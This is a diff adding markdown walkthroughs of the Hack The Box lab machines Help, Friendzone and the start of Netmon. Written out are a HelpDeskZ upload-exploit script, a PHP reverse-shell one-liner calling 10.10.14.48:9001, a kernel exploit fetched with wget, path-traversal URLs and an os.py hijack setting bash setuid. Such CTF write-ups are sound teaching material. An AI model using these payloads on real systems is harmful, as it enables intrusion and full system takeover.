-> / + [20:05:14] 200 - 4KB - /support/index.php/login/ + [20:05:14] 200 - 4KB - /support/index.php + [20:05:15] 301 - 317B - /support/js -> http://10.10.10.121/support/js/ + [20:05:15] 301 - 325B - /support/js/tinymce -> http://10.10.10.121/support/js/tinymce/ + [20:05:15] 302 - 0B - /support/js/tinymce/ -> / + [20:05:15] 200 - 18KB - /support/LICENSE.txt + [20:05:20] 200 - 7KB - /support/readme.html + [20:05:20] 200 - 3KB - /support/README.md + [20:05:24] 301 - 322B - /support/uploads -> http://10.10.10.121/support/uploads/ + [20:05:24] 302 - 0B - /support/uploads/ -> / + [20:05:25] Starting: css/ + [20:05:50] Starting: images/ + [20:06:15] Starting: includes/ + [20:06:40] Starting: js/ + [20:07:05] Starting: uploads/ + + Task Completed + + + +![](prg/27_001.png) + +navigating to the 80th port's /support page, we are redirected to a helpdeskz webpage. Let's run a quick searchsploit command in order to get an idea of the exploits we could use for this webservice. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → searchsploit helpdeskz + ------------------------------------ ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + ------------------------------------ ---------------------------------------- + HelpDeskZ 1.0.2 - Arbitrary File Up | exploits/php/webapps/40300.py + HelpDeskZ < 1.0.2 - (Authenticated) | exploits/php/webapps/41200.py + ------------------------------------ ---------------------------------------- + Shellcodes: No Result + + +Looks like we may have a python script for us to use. Let's first locate where it is located in our system, and copy it to our current directory. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → locate 40300.py + /usr/share/exploitdb/exploits/php/webapps/40300.py + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → cp /usr/share/exploitdb/exploits/php/webapps/40300.py . + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → ls + 40300.py + + +Looking at the github page for helpdeskz, especially the [php file](https://github.com/evolutionscript/HelpDeskZ-1.0/blob/master/controllers/submit_ticket_controller.php) that handles the ticket submissions, We see that the code seems to possess a few vulnerabilities. + +![](prg/27_002.png) + +First of all, we see that the upload directory should end with tickets/ + +Second, we see that the uploaded file gets appended a timestamp to it, and then gets hashed through the md5 algorithm. + +To find out about the time running onto the machine, we can simply use the curl command. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → curl -v http://10.10.10.121/support/ + * Trying 10.10.10.121:80... + * TCP_NODELAY set + * Connected to 10.10.10.121 (10.10.10.121) port 80 (#0) + > GET /support/ HTTP/1.1 + > Host: 10.10.10.121 + > User-Agent: curl/7.67.0 + > Accept: */* + > + * Mark bundle as not supporting multiuse + < HTTP/1.1 200 OK + < Date: Fri, 06 Dec 2019 19:35:42 GMT + < Server: Apache/2.4.18 (Ubuntu) + < Set-Cookie: PHPSESSID=e9fa26li4655k4nrm8pk3aa0g2; path=/ + < Expires: Thu, 19 Nov 1981 08:52:00 GMT + < Cache-Control: no-store, no-cache, must-revalidate + < Pragma: no-cache + < Set-Cookie: lang=english; expires=Fri, 13-Dec-2019 19:35:42 GMT; Max-Age=604800 + < Vary: Accept-Encoding + < Content-Length: 4453 + < Content-Type: text/html; charset=UTF-8 + < + + + +Since the people that wrote the script seem to have forgotten the parentheses to literally every single print statement, we'll finish their job using the CLI text editor called "nano" + + + import hashlib + import time + import sys + import requests + + print('Helpdeskz v1.0.2 - Unauthenticated shell upload exploit') + + if(len(sys.argv) < 3): + print("Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])) + sys.exit(1) + + helpdeskzBaseUrl = sys.argv[1] + fileName = sys.argv[2] + + currentTime = int(time.time()) + + for x in range(300, 600): + plaintext = fileName + str(currentTime - x) + **plaintext = plaintext.encode('utf-8')** + md5hash = hashlib.md5(plaintext).hexdigest() + + url = helpdeskzBaseUrl+md5hash+'.php' + response = requests.head(url) + if response.status_code == 200: + print("found!") + print(url) + sys.exit(0) + + print("Sorry, I did not find anything") + + +Do not forget to add the highlighted line of code + +let's not forget our reverse php shell one liner that we will save as nihilist.php + + + <****?php + echo("nihilist WAS HERE"); + exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.48/9001 0>&1'"); + + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → nano nihilist.php + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → chmod 777 nihilist.php + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → ls -l + total 8 + -rwxr-xr-x 1 nihilist users 690 Dec 6 20:50 40300.py + -rwxrwxrwx 1 nihilist users 99 Dec 6 20:51 nihilist.php + + +Now before we upload our reverse shell nihilist.php onto through the helpdeskz ticket submission, and then try to browse to it using the correct python script, we ready our first terminal with the nc command to catch the incoming reverse shell connection onto our 9001st port, and we ready the python script inside the second terminal, because we do not want to waste much time, as the timestamp here is important for the exploit to be successful. + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → nc -lvnp 9001 + + +_Terminal 2:_ + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → python 40300.py http://10.10.10.121/support/uploads/tickets/ nihilist.php + + +![](prg/27_003.png) + +as we click submit, we run the python script right after , so that we make sure that our python script can find our timestamped md5 hashed shell. + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → nc -lvnp 9001 + Connection from 10.10.10.121:58982 + bash: cannot set terminal process group (809): Inappropriate ioctl for device + bash: no job control in this shell + + help@help:/var/www/html/support/uploads/tickets$ ls + ls + 17045dc4fa593d3df5b756a6f58a5e4b.php + 2fd3b632dbedfa05adcf9ba1c7cdfef1.php + a963f7fea2767b2edcab7045b8be9deb.php + dbdb2a8bb1ec0bda7b527398d2427d60.php + index.php + + help@help:/var/www/html/support/uploads/tickets$ cat /home/help/user.txt + cat /home/help/user.txt + bbXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it for the user part ! We have been able to login as the "help" user, and we now have it's user flag. + +## **Part 3 : Getting Root Access** + +Running a quick uname command with the -a flag we see that the box may be vulnerable to a kernel exploit. + + + help@help:/var/www/html/support/uploads/tickets$ uname -a + uname -a + Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux + + +so let's see which exploit is available for this kernel version, using the searchsploit command. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → searchsploit linux 4.4.0-116 + --------------------------------------------------------------------------- ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + --------------------------------------------------------------------------- ---------------------------------------- + Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | exploits/linux/local/44298.c + --------------------------------------------------------------------------- ---------------------------------------- + Shellcodes: No Result + + +Seems like we will use the C exploit n°44298. Let's locate it and copy it onto our current directory. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → locate 44298.c + /home/nihilist/_HTB/Bashed/44298.c + /usr/share/exploitdb/exploits/linux/local/44298.c + + +Fun Fact : we're going to privesc the exact same way as we did back on the [Bashed](15.html) machine. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → cp /usr/share/exploitdb/exploits/linux/local/44298.c . + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → ls + 40300.py 44298.c nihilist.php + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → gcc 44298.c -o nihilist.privesc + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → python -m SimpleHTTPServer 9999 + /usr/bin/python: No module named SimpleHTTPServer + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Help ] + → python2 -m SimpleHTTPServer 9999 + Serving HTTP on 0.0.0.0 port 9999 ... + + +Once we compiled the exploit into the nihilist.privesc executable, we use python2's SimpleHTTPServer module on port 9999 to be able to upload the file onto the machine + + + help@help:/var/www/html/support/uploads/tickets$ which curl + which curl + help@help:/var/www/html/support/uploads/tickets$ which wget + + which wget + /usr/bin/wget + + +Seems like we won't be able to use curl to download the executable, but that's no problem, since wget is there to save us. + + + help@help:/var/www/html/support/uploads/tickets$ wget http://10.10.14.48:9999/nihilist.privesc + <****port/uploads/tickets$ wget http://10.10.14.48:9999/nihilist.privesc + --2019-12-06 12:28:38-- http://10.10.14.48:9999/nihilist.privesc + Connecting to 10.10.14.48:9999... connected. + HTTP request sent, awaiting response... 200 OK + Length: 17872 (17K) [application/octet-stream] + Saving to: 'nihilist.privesc' + + 0K .......... ....... 100% 482K=0.04s + + 2019-12-06 12:28:38 (482 KB/s) - 'nihilist.privesc' saved [17872/17872] + + help@help:/var/www/html/support/uploads/tickets$ ls + ls + 17045dc4fa593d3df5b756a6f58a5e4b.php + 2fd3b632dbedfa05adcf9ba1c7cdfef1.php + a963f7fea2767b2edcab7045b8be9deb.php + dbdb2a8bb1ec0bda7b527398d2427d60.php + nihilist.privesc + index.php + + help@help:/var/www/html/support/uploads/tickets$ ./nihilist.privesc + ./nihilist.privesc + bash: ./nihilist.privesc: Permission denied + +Let's not forget to change the executable's permissions to actually make it executable : + + + help@help:/var/www/html/support/uploads/tickets$ chmod +x nihilist.privesc + chmod +x nihilist.privesc + + help@help:/var/www/html/support/uploads/tickets$ ./nihilist.privesc + ./nihilist.privesc + + id + uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare),1000(help) + + cat /root/root.txt + b7XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! We have been able to print the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/27_graph.png) + diff --git a/Easy/28.md b/Easy/28.md new file mode 100644 index 0000000..da9d101 --- /dev/null +++ b/Easy/28.md @@ -0,0 +1,606 @@ +# Friendzone Writeup + +![](img/28.png) + +## Introduction : + +Friendzone is an easy Linux box released back in Febuary 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → nmap -F 10.10.10.123 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-07 09:04 CET + Nmap scan report for 10.10.10.123 + Host is up (0.15s latency). + Not shown: 93 closed ports + PORT STATE SERVICE + 21/tcp open ftp + 22/tcp open ssh + 53/tcp open domain + 80/tcp open http + 139/tcp open netbios-ssn + 443/tcp open https + 445/tcp open microsoft-ds + + Nmap done: 1 IP address (1 host up) scanned in 6.85 seconds + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → nmap -sC -sV 10.10.10.123 -p 21,22,53,80,139,443,445 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-07 09:05 CET + Nmap scan report for 10.10.10.123 + Host is up (0.036s latency). + + PORT STATE SERVICE VERSION + 21/tcp open ftp vsftpd 3.0.3 + 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA) + | 256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA) + |_ 256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519) + 53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux) + | dns-nsid: + |_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu + 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) + |_http-server-header: Apache/2.4.29 (Ubuntu) + |_http-title: Friend Zone Escape software + 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) + 443/tcp open ssl/http Apache httpd 2.4.29 + |_http-server-header: Apache/2.4.29 (Ubuntu) + |_http-title: 404 Not Found + | ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO + | Not valid before: 2018-10-05T21:02:30 + |_Not valid after: 2018-11-04T21:02:30 + |_ssl-date: TLS randomness does not represent time + | tls-alpn: + |_ http/1.1 + 445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP) + Service Info: Hosts: FRIENDZONE, 127.0.0.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel + + Host script results: + |_clock-skew: mean: -39m30s, deviation: 1h09m16s, median: 28s + |_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <****unknown>, NetBIOS MAC: <****unknown> (unknown) + | smb-os-discovery: + | OS: Windows 6.1 (Samba 4.7.6-Ubuntu) + | Computer name: friendzone + | NetBIOS computer name: FRIENDZONE\x00 + | Domain name: \x00 + | FQDN: friendzone + |_ System time: 2019-12-07T10:06:20+02:00 + | smb-security-mode: + | account_used: guest + | authentication_level: user + | challenge_response: supported + |_ message_signing: disabled (dangerous, but default) + | smb2-security-mode: + | 2.02: + |_ Message signing enabled but not required + | smb2-time: + | date: 2019-12-07T08:06:20 + |_ start_date: N/A + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 28.42 seconds + +## **Part 2 : Getting User Access** + +Our nmap scan picked up the samba service running on both port 139 and 445. So we run the smb map command with it's -H flag in order to enumerate the shares we can work with. + + + λ root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] → smbmap -H 10.10.10.123 -p 445,139 + /bin/smbmap:1036: SyntaxWarning: "is" with a literal. Did you mean "=="? + if len(sys.argv) is 1: + [+] Finding open SMB ports.... + [!] Authentication error on 10.10.10.123 + + +Seems like smbmap has got some problems on archlabs, but no worries, enum4linux is there to the rescue. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → enum4linux 10.10.10.123 + Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Dec 7 09:12:14 2019 + + ========================== + | Target Information | + ========================== + Target ........... 10.10.10.123 + RID Range ........ 500-550,1000-1050 + Username ......... '' + Password ......... '' + Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none + + + ==================================================== + | Enumerating Workgroup/Domain on 10.10.10.123 | + ==================================================== + Can't load /etc/samba/smb.conf - run testparm to debug it + [+] Got domain/workgroup name: WORKGROUP + + ============================================ + | Nbtstat Information for 10.10.10.123 | + ============================================ + Can't load /etc/samba/smb.conf - run testparm to debug it + Looking up status of 10.10.10.123 + FRIENDZONE <****00> - B <****ACTIVE> Workstation Service + FRIENDZONE <****03> - B <****ACTIVE> Messenger Service + FRIENDZONE <****20> - B <****ACTIVE> File Server Service + ..__MSBROWSE__. <****01> - <****GROUP> B <****ACTIVE> Master Browser + WORKGROUP <****00> - <****GROUP> B <****ACTIVE> Domain/Workgroup Name + WORKGROUP <****1d> - B <****ACTIVE> Master Browser + WORKGROUP <****1e> - <****GROUP> B <****ACTIVE> Browser Service Elections + + MAC Address = 00-00-00-00-00-00 + + ===================================== + | Session Check on 10.10.10.123 | + ===================================== + [+] Server 10.10.10.123 allows sessions using username '', password '' + + =========================================== + | Getting domain SID for 10.10.10.123 | + =========================================== + Unable to initialize messaging context + rpcclient: Can't load /etc/samba/smb.conf - run testparm to debug it + [+] Can't determine if host is part of domain or part of a workgroup + + ====================================== + | OS information on 10.10.10.123 | + ====================================== + Use of uninitialized value $os_info in concatenation (.) or string at /usr/bin/enum4linux line 464. + [+] Got OS info for 10.10.10.123 from smbclient: + [+] Got OS info for 10.10.10.123 from srvinfo: + Unable to initialize messaging context + rpcclient: Can't load /etc/samba/smb.conf - run testparm to debug it + + ============================= + | Users on 10.10.10.123 | + ============================= + Use of uninitialized value $users in print at /usr/bin/enum4linux line 874. + Use of uninitialized value $users in pattern match (m//) at /usr/bin/enum4linux line 877. + + Use of uninitialized value $users in print at /usr/bin/enum4linux line 888. + Use of uninitialized value $users in pattern match (m//) at /usr/bin/enum4linux line 890.**========================================= + | Share Enumeration on 10.10.10.123 | + ========================================= + Unable to initialize messaging context + smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it + + Sharename Type Comment + --------- ---- ------- + print$ Disk Printer Drivers + Files Disk FriendZone Samba Server Files /etc/Files + general Disk FriendZone Samba Server Files + Development Disk FriendZone Samba Server Files + IPC$ IPC IPC Service (FriendZone server (Samba, Ubuntu)) + Reconnecting with SMB1 for workgroup listing. + + Server Comment + --------- ------- + + Workgroup Master + --------- ------- + WORKGROUP FRIENDZONE + + [+] Attempting to map shares on 10.10.10.123 + //10.10.10.123/print$ Mapping: DENIED, Listing: N/A + //10.10.10.123/Files Mapping: DENIED, Listing: N/A + //10.10.10.123/general Mapping: OK, Listing: OK + //10.10.10.123/Development Mapping: OK, Listing: OK + //10.10.10.123/IPC$ [E] Can't understand response: + Unable to initialize messaging context + smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it + NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*** + ==================================================== + | Password Policy Information for 10.10.10.123 | + ==================================================== + [E] Unexpected error from polenum: + Traceback (most recent call last): + File "/usr/bin/polenum", line 16, in <****module> + from impacket.dcerpc.v5.rpcrt import DCERPC_v5 + ImportError: No module named impacket.dcerpc.v5.rpcrt + [+] Retieved partial password policy with rpcclient: + + + + ============================== + | Groups on 10.10.10.123 | + ============================== + + [+] Getting builtin groups: + + [+] Getting builtin group memberships: + + [+] Getting local groups: + + [+] Getting local group memberships: + + [+] Getting domain groups: + + [+] Getting domain group memberships: + + ======================================================================= + | Users on 10.10.10.123 via RID cycling (RIDS: 500-550,1000-1050) | + ======================================================================= + + ============================================= + | Getting printer info for 10.10.10.123 | + ============================================= + Unable to initialize messaging context + rpcclient: Can't load /etc/samba/smb.conf - run testparm to debug it + + + enum4linux complete on Sat Dec 7 09:12:20 2019 + +Looking at the results, we have a few ports to work with. Let's check out the shares available for us using the smbclient command. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → smbclient \\\\10.10.10.123\\general + Unable to initialize messaging context + smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it + Enter WORKGROUP\nihilist's password: + Try "help" to get a list of possible commands. + smb: \> ls + . D 0 Wed Jan 16 21:10:51 2019 + .. D 0 Wed Jan 23 22:51:02 2019 + creds.txt N 57 Wed Oct 10 01:52:42 2018 + + 9221460 blocks of size 1024. 6459232 blocks available + smb: \> get creds.txt + getting file \creds.txt of size 57 as creds.txt (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec) + smb: \> exit + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → mv creds.txt Friendzone/creds.txt + mv: cannot move 'creds.txt' to 'Friendzone/creds.txt': No such file or directory + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → mkdir Friendzone + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → mv creds.txt Friendzone/creds.txt + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → cd Friendzone + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Friendzone ] + → cat creds.txt + creds for the admin THING: + + admin:WORKWORKHhallelujah@# + + +We seem to have a password to work with ! WORKWORKHhallelujah@# Now let's use nmap's smb share enumeration script. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Friendzone ] + → nmap 10.10.10.123 --script smb-enum-shares + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-07 09:39 CET + Nmap scan report for 10.10.10.123 + Host is up (0.043s latency). + Not shown: 993 closed ports + PORT STATE SERVICE + 21/tcp open ftp + 22/tcp open ssh + 53/tcp open domain + 80/tcp open http + 139/tcp open netbios-ssn + 443/tcp open https + 445/tcp open microsoft-ds + + Host script results: + | smb-enum-shares: + | account_used: guest + | \\10.10.10.123\Development: + | Type: STYPE_DISKTREE + | Comment: FriendZone Samba Server Files + | Users: 0 + | Max Users: <****unlimited> + | Path: C:\etc\Development + | Anonymous access: READ/WRITE + | Current user access: READ/WRITE + | \\10.10.10.123\Files: + | Type: STYPE_DISKTREE + | Comment: FriendZone Samba Server Files /etc/Files + | Users: 0 + | Max Users: <****unlimited> + | Path: C:\etc\hole + | Anonymous access: <****none> + | Current user access: <****none> + | \\10.10.10.123\IPC$: + | Type: STYPE_IPC_HIDDEN + | Comment: IPC Service (FriendZone server (Samba, Ubuntu)) + | Users: 1 + | Max Users: <****unlimited> + | Path: C:\tmp + | Anonymous access: READ/WRITE + | Current user access: READ/WRITE + | \\10.10.10.123\general: + | Type: STYPE_DISKTREE + | Comment: FriendZone Samba Server Files + | Users: 0 + | Max Users: <****unlimited> + | Path: C:\etc\general + | Anonymous access: READ/WRITE + | Current user access: READ/WRITE + | \\10.10.10.123\print$: + | Type: STYPE_DISKTREE + | Comment: Printer Drivers + | Users: 0 + | Max Users: <****unlimited> + | Path: C:\var\lib\samba\printers + | Anonymous access: <****none> + |_ Current user access: <****none> + + Nmap done: 1 IP address (1 host up) scanned in 10.82 seconds + +Browsing to the 80th port, we are greeted with a simple html page with a picture. Although we are hinted towards domain name resolution at the bottom, so let's see what lies at the https port in order to see if we can enumerate the DNS part of this box a little further using the SSL certificate. + +![](prg/28_001.png) ![](prg/28_002.png) ![](prg/28_003.png) + +Seems like we have a hostname to work with : friendzone.red let's do a quick dns lookup using the dig command. + + + + λ root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] → pacman -S blackarch/python2-dnsknife + + λ root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] → dig axfr @10.10.10.123 friendzone.red + + ; <<>> DiG 9.14.8 <<>> axfr @10.10.10.123 friendzone.red + ; (1 server found) + ;; global options: +cmd + friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800 + friendzone.red. 604800 IN AAAA ::1 + friendzone.red. 604800 IN NS localhost. + friendzone.red. 604800 IN A 127.0.0.1 + administrator1.friendzone.red. 604800 IN A 127.0.0.1 + hr.friendzone.red. 604800 IN A 127.0.0.1 + uploads.friendzone.red. 604800 IN A 127.0.0.1 + friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800 + ;; Query time: 39 msec + ;; SERVER: 10.10.10.123#53(10.10.10.123) + ;; WHEN: Sat Dec 07 10:13:25 CET 2019 + ;; XFR size: 8 records (messages 1, bytes 289) + + +Looking at the results, we seem to have found administrator1.friendzone.red and uploads.friendzone.red . Since HackTheBox doesn't do DNS we'll add the following line into our /etc/hosts file : + + + 10.10.10.123 administrator1.friendzone.red uploads.friendzone.red + + +Browsing to the administrator1.friendzone.red URI we are greeted by a login prompt. + +![](prg/28_004.png) + +Using the credentials we found earlier, we are able to login : + +![](prg/28_005.png) + +Earlier our enum4linux scan picked up the Development SMB Share : + + + λ root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] → smbclient -H //10.10.10.123/Development + Unable to initialize messaging context + smbclient: Can't load /etc/samba/smb.conf - run testparm to debug it + Enter WORKGROUP\nihilist's password: + Try "help" to get a list of possible commands. + smb: \> ls + . D 0 Sat Dec 7 09:40:17 2019 + .. D 0 Wed Jan 23 22:51:02 2019 + + +This is where we will upload our reverse php shell, just pick up a quick oneliner for us to use and upload it : + + + <****?php + echo("nihilist WAS HERE"); + exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.48/9001 0>&1'"); + + + + smb: \> put nihilist_rev.php + putting file nihilist_rev.php as \nihilist_rev.php (0.9 kb/s) (average 0.9 kb/s) + smb: \> ls + . D 0 Sat Dec 7 10:38:01 2019 + .. D 0 Wed Jan 23 22:51:02 2019 + nihilist_rev.php A 101 Sat Dec 7 10:38:02 2019 + + 9221460 blocks of size 1024. 6460304 blocks available + + smb: \> exit + + λ root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] → nc -lvnp 9001 + + +Once the reverse shell is uploaded, we ready our terminal with the nc command in order to catch the incoming reverse shell connection onto our 9001st port. Then we browse to our reverse php shell from within the webbrowser and see the result : + + + https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename;=../../../../../../../../../etc/Development/nihilist_rev.php + + +This does not work because the URI must not end with .php ! So you need to browse to this URI : + + + https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename;=../../../../../../../../../etc/Development/nihilist_rev + + +And see that our terminal catched the reverse shell connection. + + + λ root [ 10.10.14.48/23 ] [/home/nihilist/_HTB] → nc -lvnp 9001 + Connection from 10.10.10.123:58526 + bash: cannot set terminal process group (556): Inappropriate ioctl for device + bash: no job control in this shell + + www-data@FriendZone:/var/www/admin$ uname -a + uname -a + Linux FriendZone 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux + + www-data@FriendZone:/var/www/admin$ whoami + whoami + www-data + + +And that's it ! we have been able to login as www-data, now let's see if we have enough permissions to print out the user flag. + + + www-data@FriendZone:/var/www/admin$ cd /home + cd /home + + www-data@FriendZone:/home$ ls + ls + friend + + www-data@FriendZone:/home$ cd friend + cd friend + www-data@FriendZone:/home/friend$ ls + ls + user.txt + + www-data@FriendZone:/home/friend$ cat user.txt + cat user.txt + a9XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Now we need to escalate privileges onto the machine. To do so, let's first take a look at the mysql_data.conf file located in /var/www. + + + www-data@FriendZone:/home/friend$ cd /var/www + cd /var/www + www-data@FriendZone:/var/www$ ls + ls + admin + friendzone + friendzoneportal + friendzoneportaladmin + html + mysql_data.conf + uploads + www-data@FriendZone:/var/www$ cat mysql_data.conf + cat mysql_data.conf + for development process this is the mysql creds for user friend + + db_user=friend + + db_pass=Agpyu12!0.213$ + + db_name=FZ + + +seems like we have credentials to work with ! friend:Agpyu12!0.213$ let's try to privesc using the su command. + + + www-data@FriendZone:/var/www$ su friend + su friend + su: must be run from a terminal + + www-data@FriendZone:/var/www$ which python + which python + /usr/bin/python + + +That's not a problem, we should be able to fool the system into thinking we are running commands from a TTY session, by using python's pty module. + + + www-data@FriendZone:/var/www$ python -c 'import pty; pty.spawn("/bin/sh")' + python -c 'import pty; pty.spawn("/bin/sh")' + + $ su friend + su friend + Password: Agpyu12!0.213$ + + friend@FriendZone:/var/www$ whoami + whoami + friend + + +Now let's take a look into the /opt directory. There seems to be an interesting folder for us to look into : + + + friend@FriendZone:/var/www$ cd /opt + cd /opt + friend@FriendZone:/opt$ ls + ls + server_admin + friend@FriendZone:/opt$ ls -la + ls -la + total 12 + drwxr-xr-x 3 root root 4096 Oct 6 2018 . + drwxr-xr-x 22 root root 4096 Oct 5 2018 .. + drwxr-xr-x 2 root root 4096 Jan 24 2019 server_admin + friend@FriendZone:/opt$ cd server_admin + cd server_admin + friend@FriendZone:/opt/server_admin$ ls + ls + reporter.py + friend@FriendZone:/opt/server_admin$ cat reporter.py + cat reporter.py + #!/usr/bin/python + + import os + + to_address = "admin1@friendzone.com" + from_address = "admin2@friendzone.com" + + print "[+] Trying to send email to %s"%to_address + + #command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"''' + + #os.system(command) + + # I need to edit the script later + # Sam ~ python developer + friend@FriendZone:/opt/server_admin$ + + +Seems like the python script is importing a library named "os", let's see if we can enumerate it. + + + friend@FriendZone:/opt/server_admin$ ls -ld /usr/lib/python2.7/os.py + ls -ld /usr/lib/python2.7/os.py + -rwxrwxrwx 1 root root 25910 Jan 15 2019 /usr/lib/python2.7/os.py + + +Whoa ! The os.py libary has got the 777 permissions, This is a serious security flaw as we're about to demonstrate : + + + friend@FriendZone:/opt/server_admin$ echo "system('chmod 4755 /bin/bash')" >> /usr/lib/python2.7/os.py + echo "system('chmod 4755 /bin/bash')" >> /usr/lib/python2.7/os.py + friend@FriendZone:/opt/server_admin$ ^[[A^[[A + friend@FriendZone:/opt/server_admin$ ls -l /bin/bash + -rwxr-xr-x 1 root root 1113504 Apr 4 2018 /bin/bash + + +Wait a little while for the cronjob to execute the python script, and you should see the permissions of /bin/bash changing. + + + friend@FriendZone:/opt/server_admin$ ^[[A + ls -l /bin/bash + -rwsr-xr-x 1 root root 1113504 Apr 4 2018 /bin/bash + friend@FriendZone:/opt/server_admin$ /bin/bash -p + /bin/bash -p + bash-4.4# whoami + whoami + root + bash-4.4# cat /root/root.txt + cat /root/root.txt + b0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/28_graph.png) + diff --git a/Easy/29.md b/Easy/29.md new file mode 100644 index 0000000..5d75fbc --- /dev/null +++ b/Easy/29.md @@ -0,0 +1,267 @@ +# Netmon Writeup + +![](img/29.png) + +## Introduction : + +Netmon is an easy Windows box that was released back in March 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → nmap -F 10.10.10.152 --top-ports 10000 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-09 08:36 CET + Nmap scan report for 10.10.10.152 + Host is up (0.037s latency). + Not shown: 8313 closed ports + PORT STATE SERVICE + 21/tcp open ftp + 80/tcp open http + 135/tcp open msrpc + 139/tcp open netbios-ssn + 445/tcp open microsoft-ds + 5985/tcp open wsman + 47001/tcp open winrm + + Nmap done: 1 IP address (1 host up) scanned in 6.13 seconds 